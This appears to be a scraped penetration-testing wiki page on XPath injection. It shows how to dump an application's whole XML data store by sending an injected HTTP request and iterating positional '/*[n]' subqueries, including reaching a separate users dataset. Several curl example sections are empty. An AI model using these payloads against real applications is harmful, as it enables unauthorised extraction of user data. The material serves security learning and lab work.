search

Advanced Data Exfiltration

When the application limits results (e.g., shows only first N matches), dump the XML by iterating: first discover schema depth, then walk positions.

hashtag
1) Force empty original, append probing subquery

Set a term that returns no hits (e.g., q=SOMETHINGINVALID) and use f=<original>|/*[1] to probe from root.

GET /index.php?q=SOMETHINGINVALID&f=fullstreetname | /*[1] HTTP/1.1
Host: <host>

  • If the app expects a string and your subquery yields a node-set/array, output may be blank.

  • Increase depth until output changes to find the data subtree depth:

    • /*[1] → nothing

    • /*[1]/*[1] → nothing

    • /*[1]/*[1]/*[1] → nothing

    • /*[1]/*[1]/*[1]/*[1] → first visible value

hashtag
2) Walk positions at the last level

Once depth D is found, iterate /*[k] at the last step to enumerate fields/children, then move leftwards to enumerate records.

Example (depth=4):

  • /*[1]/*[1]/*[1]/*[1] → first item field 1

  • /*[1]/*[1]/*[1]/*[2] → first item field 2

  • /*[1]/*[1]/*[1]/*[3] → first item field 3

  • Increment the penultimate index to move to item 2, repeat.

hashtag
Curl Cheat-Sheet

hashtag
Example Targeting a Different Dataset

If the second top-level child holds another dataset (e.g., users), start at /*[1]/*[2] and repeat depth probing:

hashtag
Concrete lab-style locator

If the flag is at /*[1]/*[2]/*[3]/*[1]/*[3]:

Encoded curl:

Redact secrets/flags in notes; store them separately if needed.

PreviousData ExfiltrationNextBlind Exploitation

Last updated